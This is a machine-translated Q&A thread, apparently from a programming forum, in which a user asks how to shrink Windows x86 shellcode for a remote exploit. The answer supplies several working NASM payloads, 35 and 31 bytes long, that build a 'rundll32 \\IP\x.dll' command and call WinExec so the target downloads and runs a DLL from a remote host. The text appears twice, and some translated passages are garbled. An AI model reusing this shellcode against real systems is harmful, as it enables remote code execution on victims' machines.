在已知地址重新使用字符串以节省字节并减少 shellcode 有效负载的大小
Re-use string at known address to save bytes and reduce size of shellcode payload
编辑:免责声明-这仅用于教育目的,因为我正在尝试学习 shellx86 asm 中的编码——这不是在任何环境中编写野外利用的帮助请求方式。
基本上我在这里要求的 - 不管 "why" 我要求的是学习如何获取存储在内存中的已知信息,例如:
00xxxxxx ASCII "some information in ASCII"
并重新利用存储在我的 asm 代码中该地址的信息。我会执行 lea eax,[address] 吗?我已经尝试了很多方法,但没有任何结果使存储在该地址 space 中的信息按预期出现。
--- 原创 post---
我正在 Windows 32 位的 POC shellcode x86 asm 上工作。我对远程应用程序进行了模糊测试,并且能够执行代码——例如:http://shell-storm.org/shellcode/files/shellcode-482.php
我注意到崩溃后的连接地址(攻击地址)总是在同一个硬编码地址space,在调试器的转储中显示为:
00aabbcc ASCII "192.168.1.XX."
我想在 shell-storm cmd.exe shell 代码上使用它,但以某种方式将包含我的 IP 地址的地址 space 以 ASCII 形式传递给它,以便download/run rundll32.exe 利用。我将如何引用地址 space(它确实包含空的第一个字节)并将其在 x86 asm 中传递给 cmd.exe?
这只是我用来获取代码执行的示例。它也适用于 cmd.exe。基本上在第 4 行和第 5 行,如果您将进行十六进制编码,我将 "calc.exe" 作为 8 个字节的纯文本传递。我想修改它以基本上执行 rundll32 而不是 calc 或 cmd where
rundll32.exe \<HARD CODED ADDRESS REFERENCE HERE>\x.dll,0
上面只是我插入我在内存中观察到的硬编码 IP 的地方。
# this is the asm code for launching calc.exe successfully:
#0: 89 e5 mov ebp,esp
#2: 55 push ebp ; 4 bytes possibly with low byte = 0?
#3: 89 e5 mov ebp,esp
#5: 68 2e 65 78 65 push 0x6578652e ; ".exe"
#a: 68 63 61 6c 63 push 0x636c6163 ; "calc"
#f: 8d 45 f8 lea eax,[ebp-0x8] ; pointer to the string = mov eax, esp
#12: 50 push eax
#13: b8 c7 93 c2 77 mov eax,0x77c293c7 ; kernel32.WinExec
#18: ff d0 call eax
在上面的示例代码片段中,我如何在第 4-5 行插入位于前面提到的内存地址的 ASCII 值?这是我在这里关于 x86 asm 的问题的真正内容。我会使用 memcpy 吗?结构化?我属于新手,绝对不是asm的日常实践者。
再看一遍这个问题后,您的实际问题是关于将来自目标系统中已知地址的内容与 运行 时变 C 字符串连接起来。喜欢 sprintf(buf, '\%s\x.dll', 0x00xxxxxx)
.
(实际上它实际上是一个已知的常量长度和值,而你只是想通过复制它来节省有效负载大小。)更新,见下文35 字节版本 将整个字符串硬编码到有效负载中,31 字节版本 构建 \...\x.dll
字符串 围绕 字符串而不是复制。
复制少量数据很难。 x86 指令为操作码和数据的寻址模式(寄存器或内存)采用代码大小,除非具有隐式操作数的指令除外,如 stos
或 movsb
,或 push
。甚至那些仍然使用字节作为操作码。重复的单字节元素很难利用。在 大 规模下,如果您有足够的空间来编写解压缩程序,则可以包括 运行 长度编码甚至霍夫曼编码。但是当你的数据不比几条指令大很多时,就像这个答案的最后一部分一样,这只是一些小技巧。
但也许有效地硬编码它可以足够小,而无需从已知地址读取 13 字节的 IP 地址(这至少需要 7 个字节才能在 mov eax, imm32
/ [= 的寄存器中生成21=] 避免立即数为 0 字节)
在有效载荷中硬编码固定字符串的两种方法
在 32 位模式下,重复 push imm32
将在堆栈上构建一个任意长度的字符串(当然是以相反的顺序)。
首先压入异或归零寄存器以获得以 0 结尾的 C 字符串。您的文字字符串是纯文本,所以除此之外我看不出有任何理由担心零字节。但是如果你这样做了,用一个填充字符填充并用你的零寄存器中的字节存储覆盖它。
如果自然不是4字节的倍数,有时可以在路径中将\
扩展为\
或\\
或\.\
。或者使用 push imm8
作为最后一个字符(您首先推送的字符),同时免费推送 3 个字节的零。 (假设您的字符是 1..127,所以符号扩展会产生零而不是 0xFF)。对于这种情况,WinExec 在 spaces 上拆分,因此 push ' '
可以推送 space + 终止 0 字节。
And/or 如果不需要堆栈的 4 字节对齐,则对最后 2 个字节的数据使用 4 字节 push word imm16
(操作数大小前缀 + 操作码 + 2 个字节的数据 = 4 个字节的代码)。
有效载荷大小开销是每 4 个字符串字节 1 push
个操作码字节,加上终止符,字符串大小可能会填充到 4 的倍数字节.
另一个主要选项是将字符串作为文字数据包含在有效载荷之后。
...
jmp push_string_address
back_from_call:
;; pop eax ; or just leave the string address on the stack
...
push_string_address:
call back_from_call ; pushes the address of the end of the instruction and jumps
db "\<HARD CODED ADDRESS REFERENCE HERE>\x.dll" ;, 0
; terminating zero byte in the target system will be there from its strcpy
总开销:2 字节 jmp rel8
+ 5 字节 call rel32
。 + 1 字节 pop reg
如果你弹出它而不是将它作为 32 位调用约定中的 arg 留在堆栈上。
call
必须向后,所以 rel32 的高字节是 FF
,而不是正位移的 00
。
在 64 位模式下,您可以使用 RIP 相对寻址来轻松避免有问题的字节,如果需要,。但是jmp/call其实还是比较紧凑的。
两种方式的比较:
我没看到你在哪里以 0 终止你的字符串。在您开始使用的 "cmd.exe "
示例中,在 space 之后的尾随垃圾仍然 运行 cmd.exe
但使用 args,直到堆栈中的任何位置出现 0 字节。
在这里,传入 EBP 底部的任何非零字节都将紧跟在字符串中的 .exe
之后。
但是所有 ebp
的东西都是对 space 的浪费。 WinExec
接受 2 个参数:一个指针和一个整数。如果整数超出作为 GUI window 行为代码的范围,则整数显然是无关紧要的,因此如果字符串的前 4 个字节也是 UINT uCmdShow
参数也没有问题。 (显然,该函数在读取字符串之前或根本不使用该 arg 作为 scratch space )。保存 EBP 的预缓冲区溢出值或设置 "stack frame".
没有任何好处
字符串完美地分解为 4 字节的块 + 一个 1 字节的块,让我们可以廉价地获得终止符:
\19
| 2.16
| 8.10
| .10\
| x.dl
| l
This is NASM source,其中 'x.dl'
是一个 32 位常量,它按该顺序在内存中生成字节。 ()。 NASM 仅将反斜杠处理为反引号字符串中的 C 风格转义;单引号和双引号是等价的。
;;; NASM syntax (remove the "2 bytes" counts from the start of each line)
BITS 32
2 bytes push 'l' ; 'l[=11=][=11=][=11=]'
5 bytes push 'x.dl'
5 bytes push '.10\'
5 bytes push '8.10'
5 bytes push '2.16'
5 bytes push '\19'
; 27 bytes to construct the string
;; ESP points to the data we just pushed = 0-terminated string
1 byte push esp ; pushes the old value: pointer to the string
b8 c7 93 c2 77 mov eax,0x77c293c7 ; kernel32.WinExec
ff d0 call eax
总计:35 字节以上(推送)或以下(jmp/call)
NASM 来自 nasm -l/dev/stdout foo.asm
的清单(创建 shellcode 的平面二进制文件,准备好十六进制转储为 C 字符串)。
1 bits 32
2 top:
3 00000000 EB07 jmp push_string_address
4 back_from_call:
5 ;; pop edi ; or just leave the string address on the stack
6
7 00000002 B8C793C277 mov eax,0x77c293c7 ; kernel32.WinExec
8 00000007 FFD0 call eax
9
10 push_string_address:
11 00000009 E8F4FFFFFF call back_from_call ; pushes the address of the end of the instruction and jumps
12 0000000E 5C5C3139322E313638- db "\192.168.10.10\x.dll"
;, 0
12 00000017 2E31302E31305C782E-
12 00000020 646C6C
13 ; terminating zero byte in the target system will be there from the strcpy we overflowed
(00000023 23 size: db $ - top
是我在底部包含的一行,用于获取 NASM 来为我计算大小:0x23 = 35 字节)
字符串本身占用 21 个字节,但 jmp + 调用占用 7 个字节。与 6 push imm
指令加上 push esp
. 的操作码开销相同所以我们正处于盈亏平衡点,使用 jmp/call 更长的字符串会更有效.
替代方法:在固定部分周围就地构建字符串
如果包含 "192.168.10.10"
的内存在可写页中,我们可以写入字节 before/after 以生成我们想要的 C 字符串。
;; build a string around the part we want, version 1 (35 bytes)
string_address equ 0x00abcdef
string_length equ 13 ; strlen("192.168.10.10")
mov edi, -(string_address - 2) ; 5B
neg edi ; 2B EDI points 2 byte before the existing string
mov word [edi], '\' ; 5B store 2 bytes: prepend \
mov dword [edi + string_length+2], '\x.d' ; 7B
push 'l'
pop eax ; 'l[=13=][=13=][=13=]'
mov ah,al ; 2B copy low byte to 2nd byte
mov [edi + string_length+2 + 4], eax ; 3B append 'll[=13=][=13=]'
;;; append '\x.dll[=13=][=13=]'
push edi
mov eax,0x77c293c7 ; kernel32.WinExec
call eax
有趣/令人沮丧,这也是 0x23 = 35 字节!!!
我觉得应该有一种更有效的方法来获取字符串的结尾。 push/pop + mov 复制低字节感觉很多。
或者我可以用 5 字节 sub
或 xor eax, imm32
将 EAX 中的一个位模式突变为另一个位模式。 (没有 ModRM 字节的特殊 EAX-only 编码)。这可以在机器代码中没有任何内容的情况下产生零。
我看到另一种节省字节的方法,它通过移动 EDI 并利用出现在多个位置的 \
的冗余,使用 stosb
/ stosd
附加 AL 或 EAX。它节省了 2 4 个字节。 (请参阅 "version 2" 的先前版本的答案)
目前最佳:31 字节。 (NASM 列表:机器代码 + 源代码)
;; build a string around the part we want, version 3 (31 bytes)
;; Assumes DF=0 when it runs, which is guaranteed by the calling convention
;; if we got here from a ret in compiler-generated code
1 bits 32
2 top:
3 str_address equ 0x00abcdef
4 str_length equ 13 ; strlen("192.168.10.10")
5
6 00000000 BF133254FF mov edi, -(str_address - 2) ; 5B
7 00000005 F7DF neg edi ; 2B EDI points 2 byte before the existing string
8 00000007 57 push edi ; push function arg now, before modifying EDI
9
10 00000008 B85C782E64 mov eax, '\x.d' ; low byte = backslash is reusable
11 0000000D AA stosb ; 1B *edi++ = AL '\'
12 0000000E AA stosb ; 1B *edi++ = AL '\'
14 ;;; we've now prepended \ ;;; EDI is pointing at the start of the original string
15
16 0000000F 83C70D add edi, str_length ; point EDI past the end, where we want to write more
17 00000012 AB stosd ; 1B *edi = eax; edi+=4; append '\x.d'
18 00000013 6A6C push 'l'
19 00000015 58 pop eax ; 'l[=14=][=14=][=14=]' in a reg, constructed in 3 bytes
20 00000016 AA stosb ; append 'l'
21 00000017 AB stosd ; append 'l[=14=][=14=][=14=]'
22 ;;; append '\x.dll[=14=][=14=][=14=]'
23
24 00000018 B8C793C277 mov eax,0x77c293c7 ; kernel32.WinExec
25 0000001D FFD0 call eax
31 字节
(NASM 使用 nasm foo.asm -l/dev/stdout | cut -b -30,$((30+10))-
生成的列表。您可以去掉每行的前 32 个字节以使用 <foo.lst cut -b 32- > foo.asm
恢复原始源,这样您就可以 assemble自己。)
所有这些都未经测试。大小计数是正确的(主要来自 NASM 计算),除了推送版本。
当然,我错过了更多节省的空间。
或者可能存在需要额外字节才能修复的错误,或者不同的打法。
进一步的想法:已知 EDI 的最高字节为零。也许在某个时候一个 4 字节的存储可以得到一个零然后覆盖之前的字节?
我想知道 call far ptr16:32
是否具有硬编码的段描述符(假设我们知道 Windows 使用什么作为 cs
的 user-space 值)是否会小于mov/call 是吗?否:opcode + 4byte absolute addr + 2byte segment
= 7 字节,与 5 字节 mov
+ 2 字节 call eax
相同,从未知 EIP 到达绝对地址(因此我们不能使用 5 字节 call rel32
).
有关更多代码大小优化的总体思路,请参阅 https://codegolf.stackexchange.com/questions/132981/tips-for-golfing-in-x86-x64-machine-code
编辑:免责声明-这仅用于教育目的,因为我正在尝试学习 shellx86 asm 中的编码——这不是在任何环境中编写野外利用的帮助请求方式。
基本上我在这里要求的 - 不管 "why" 我要求的是学习如何获取存储在内存中的已知信息,例如:
00xxxxxx ASCII "some information in ASCII"
并重新利用存储在我的 asm 代码中该地址的信息。我会执行 lea eax,[address] 吗?我已经尝试了很多方法,但没有任何结果使存储在该地址 space 中的信息按预期出现。
--- 原创 post--- 我正在 Windows 32 位的 POC shellcode x86 asm 上工作。我对远程应用程序进行了模糊测试,并且能够执行代码——例如:http://shell-storm.org/shellcode/files/shellcode-482.php
我注意到崩溃后的连接地址(攻击地址)总是在同一个硬编码地址space,在调试器的转储中显示为:
00aabbcc ASCII "192.168.1.XX."
我想在 shell-storm cmd.exe shell 代码上使用它,但以某种方式将包含我的 IP 地址的地址 space 以 ASCII 形式传递给它,以便download/run rundll32.exe 利用。我将如何引用地址 space(它确实包含空的第一个字节)并将其在 x86 asm 中传递给 cmd.exe?
这只是我用来获取代码执行的示例。它也适用于 cmd.exe。基本上在第 4 行和第 5 行,如果您将进行十六进制编码,我将 "calc.exe" 作为 8 个字节的纯文本传递。我想修改它以基本上执行 rundll32 而不是 calc 或 cmd where
rundll32.exe \<HARD CODED ADDRESS REFERENCE HERE>\x.dll,0
上面只是我插入我在内存中观察到的硬编码 IP 的地方。
# this is the asm code for launching calc.exe successfully:
#0: 89 e5 mov ebp,esp
#2: 55 push ebp ; 4 bytes possibly with low byte = 0?
#3: 89 e5 mov ebp,esp
#5: 68 2e 65 78 65 push 0x6578652e ; ".exe"
#a: 68 63 61 6c 63 push 0x636c6163 ; "calc"
#f: 8d 45 f8 lea eax,[ebp-0x8] ; pointer to the string = mov eax, esp
#12: 50 push eax
#13: b8 c7 93 c2 77 mov eax,0x77c293c7 ; kernel32.WinExec
#18: ff d0 call eax
在上面的示例代码片段中,我如何在第 4-5 行插入位于前面提到的内存地址的 ASCII 值?这是我在这里关于 x86 asm 的问题的真正内容。我会使用 memcpy 吗?结构化?我属于新手,绝对不是asm的日常实践者。
再看一遍这个问题后,您的实际问题是关于将来自目标系统中已知地址的内容与 运行 时变 C 字符串连接起来。喜欢 sprintf(buf, '\%s\x.dll', 0x00xxxxxx)
.
(实际上它实际上是一个已知的常量长度和值,而你只是想通过复制它来节省有效负载大小。)更新,见下文35 字节版本 将整个字符串硬编码到有效负载中,31 字节版本 构建 \...\x.dll
字符串 围绕 字符串而不是复制。
复制少量数据很难。 x86 指令为操作码和数据的寻址模式(寄存器或内存)采用代码大小,除非具有隐式操作数的指令除外,如 stos
或 movsb
,或 push
。甚至那些仍然使用字节作为操作码。重复的单字节元素很难利用。在 大 规模下,如果您有足够的空间来编写解压缩程序,则可以包括 运行 长度编码甚至霍夫曼编码。但是当你的数据不比几条指令大很多时,就像这个答案的最后一部分一样,这只是一些小技巧。
但也许有效地硬编码它可以足够小,而无需从已知地址读取 13 字节的 IP 地址(这至少需要 7 个字节才能在 mov eax, imm32
/ [= 的寄存器中生成21=] 避免立即数为 0 字节)
在有效载荷中硬编码固定字符串的两种方法
在 32 位模式下,重复 push imm32
将在堆栈上构建一个任意长度的字符串(当然是以相反的顺序)。
首先压入异或归零寄存器以获得以 0 结尾的 C 字符串。您的文字字符串是纯文本,所以除此之外我看不出有任何理由担心零字节。但是如果你这样做了,用一个填充字符填充并用你的零寄存器中的字节存储覆盖它。
如果自然不是4字节的倍数,有时可以在路径中将\
扩展为\
或\\
或\.\
。或者使用 push imm8
作为最后一个字符(您首先推送的字符),同时免费推送 3 个字节的零。 (假设您的字符是 1..127,所以符号扩展会产生零而不是 0xFF)。对于这种情况,WinExec 在 spaces 上拆分,因此 push ' '
可以推送 space + 终止 0 字节。
And/or 如果不需要堆栈的 4 字节对齐,则对最后 2 个字节的数据使用 4 字节 push word imm16
(操作数大小前缀 + 操作码 + 2 个字节的数据 = 4 个字节的代码)。
有效载荷大小开销是每 4 个字符串字节 1 push
个操作码字节,加上终止符,字符串大小可能会填充到 4 的倍数字节.
另一个主要选项是将字符串作为文字数据包含在有效载荷之后。
...
jmp push_string_address
back_from_call:
;; pop eax ; or just leave the string address on the stack
...
push_string_address:
call back_from_call ; pushes the address of the end of the instruction and jumps
db "\<HARD CODED ADDRESS REFERENCE HERE>\x.dll" ;, 0
; terminating zero byte in the target system will be there from its strcpy
总开销:2 字节 jmp rel8
+ 5 字节 call rel32
。 + 1 字节 pop reg
如果你弹出它而不是将它作为 32 位调用约定中的 arg 留在堆栈上。
call
必须向后,所以 rel32 的高字节是 FF
,而不是正位移的 00
。
在 64 位模式下,您可以使用 RIP 相对寻址来轻松避免有问题的字节,如果需要,
两种方式的比较:
我没看到你在哪里以 0 终止你的字符串。在您开始使用的 "cmd.exe "
示例中,在 space 之后的尾随垃圾仍然 运行 cmd.exe
但使用 args,直到堆栈中的任何位置出现 0 字节。
在这里,传入 EBP 底部的任何非零字节都将紧跟在字符串中的 .exe
之后。
但是所有 ebp
的东西都是对 space 的浪费。 WinExec
接受 2 个参数:一个指针和一个整数。如果整数超出作为 GUI window 行为代码的范围,则整数显然是无关紧要的,因此如果字符串的前 4 个字节也是 UINT uCmdShow
参数也没有问题。 (显然,该函数在读取字符串之前或根本不使用该 arg 作为 scratch space )。保存 EBP 的预缓冲区溢出值或设置 "stack frame".
字符串完美地分解为 4 字节的块 + 一个 1 字节的块,让我们可以廉价地获得终止符:
\19
| 2.16
| 8.10
| .10\
| x.dl
| l
This is NASM source,其中 'x.dl'
是一个 32 位常量,它按该顺序在内存中生成字节。 (
;;; NASM syntax (remove the "2 bytes" counts from the start of each line)
BITS 32
2 bytes push 'l' ; 'l[=11=][=11=][=11=]'
5 bytes push 'x.dl'
5 bytes push '.10\'
5 bytes push '8.10'
5 bytes push '2.16'
5 bytes push '\19'
; 27 bytes to construct the string
;; ESP points to the data we just pushed = 0-terminated string
1 byte push esp ; pushes the old value: pointer to the string
b8 c7 93 c2 77 mov eax,0x77c293c7 ; kernel32.WinExec
ff d0 call eax
总计:35 字节以上(推送)或以下(jmp/call)
NASM 来自 nasm -l/dev/stdout foo.asm
的清单(创建 shellcode 的平面二进制文件,准备好十六进制转储为 C 字符串)。
1 bits 32
2 top:
3 00000000 EB07 jmp push_string_address
4 back_from_call:
5 ;; pop edi ; or just leave the string address on the stack
6
7 00000002 B8C793C277 mov eax,0x77c293c7 ; kernel32.WinExec
8 00000007 FFD0 call eax
9
10 push_string_address:
11 00000009 E8F4FFFFFF call back_from_call ; pushes the address of the end of the instruction and jumps
12 0000000E 5C5C3139322E313638- db "\192.168.10.10\x.dll"
;, 0
12 00000017 2E31302E31305C782E-
12 00000020 646C6C
13 ; terminating zero byte in the target system will be there from the strcpy we overflowed
(00000023 23 size: db $ - top
是我在底部包含的一行,用于获取 NASM 来为我计算大小:0x23 = 35 字节)
字符串本身占用 21 个字节,但 jmp + 调用占用 7 个字节。与 6 push imm
指令加上 push esp
. 的操作码开销相同所以我们正处于盈亏平衡点,使用 jmp/call 更长的字符串会更有效.
替代方法:在固定部分周围就地构建字符串
如果包含 "192.168.10.10"
的内存在可写页中,我们可以写入字节 before/after 以生成我们想要的 C 字符串。
;; build a string around the part we want, version 1 (35 bytes)
string_address equ 0x00abcdef
string_length equ 13 ; strlen("192.168.10.10")
mov edi, -(string_address - 2) ; 5B
neg edi ; 2B EDI points 2 byte before the existing string
mov word [edi], '\' ; 5B store 2 bytes: prepend \
mov dword [edi + string_length+2], '\x.d' ; 7B
push 'l'
pop eax ; 'l[=13=][=13=][=13=]'
mov ah,al ; 2B copy low byte to 2nd byte
mov [edi + string_length+2 + 4], eax ; 3B append 'll[=13=][=13=]'
;;; append '\x.dll[=13=][=13=]'
push edi
mov eax,0x77c293c7 ; kernel32.WinExec
call eax
有趣/令人沮丧,这也是 0x23 = 35 字节!!!
我觉得应该有一种更有效的方法来获取字符串的结尾。 push/pop + mov 复制低字节感觉很多。
或者我可以用 5 字节 sub
或 xor eax, imm32
将 EAX 中的一个位模式突变为另一个位模式。 (没有 ModRM 字节的特殊 EAX-only 编码)。这可以在机器代码中没有任何内容的情况下产生零。
我看到另一种节省字节的方法,它通过移动 EDI 并利用出现在多个位置的 \
的冗余,使用 stosb
/ stosd
附加 AL 或 EAX。它节省了 2 4 个字节。 (请参阅 "version 2" 的先前版本的答案)
目前最佳:31 字节。 (NASM 列表:机器代码 + 源代码)
;; build a string around the part we want, version 3 (31 bytes)
;; Assumes DF=0 when it runs, which is guaranteed by the calling convention
;; if we got here from a ret in compiler-generated code
1 bits 32
2 top:
3 str_address equ 0x00abcdef
4 str_length equ 13 ; strlen("192.168.10.10")
5
6 00000000 BF133254FF mov edi, -(str_address - 2) ; 5B
7 00000005 F7DF neg edi ; 2B EDI points 2 byte before the existing string
8 00000007 57 push edi ; push function arg now, before modifying EDI
9
10 00000008 B85C782E64 mov eax, '\x.d' ; low byte = backslash is reusable
11 0000000D AA stosb ; 1B *edi++ = AL '\'
12 0000000E AA stosb ; 1B *edi++ = AL '\'
14 ;;; we've now prepended \ ;;; EDI is pointing at the start of the original string
15
16 0000000F 83C70D add edi, str_length ; point EDI past the end, where we want to write more
17 00000012 AB stosd ; 1B *edi = eax; edi+=4; append '\x.d'
18 00000013 6A6C push 'l'
19 00000015 58 pop eax ; 'l[=14=][=14=][=14=]' in a reg, constructed in 3 bytes
20 00000016 AA stosb ; append 'l'
21 00000017 AB stosd ; append 'l[=14=][=14=][=14=]'
22 ;;; append '\x.dll[=14=][=14=][=14=]'
23
24 00000018 B8C793C277 mov eax,0x77c293c7 ; kernel32.WinExec
25 0000001D FFD0 call eax
31 字节
(NASM 使用 nasm foo.asm -l/dev/stdout | cut -b -30,$((30+10))-
生成的列表。您可以去掉每行的前 32 个字节以使用 <foo.lst cut -b 32- > foo.asm
恢复原始源,这样您就可以 assemble自己。)
所有这些都未经测试。大小计数是正确的(主要来自 NASM 计算),除了推送版本。
当然,我错过了更多节省的空间。
或者可能存在需要额外字节才能修复的错误,或者不同的打法。
进一步的想法:已知 EDI 的最高字节为零。也许在某个时候一个 4 字节的存储可以得到一个零然后覆盖之前的字节?
我想知道 call far ptr16:32
是否具有硬编码的段描述符(假设我们知道 Windows 使用什么作为 cs
的 user-space 值)是否会小于mov/call 是吗?否:opcode + 4byte absolute addr + 2byte segment
= 7 字节,与 5 字节 mov
+ 2 字节 call eax
相同,从未知 EIP 到达绝对地址(因此我们不能使用 5 字节 call rel32
).
有关更多代码大小优化的总体思路,请参阅 https://codegolf.stackexchange.com/questions/132981/tips-for-golfing-in-x86-x64-machine-code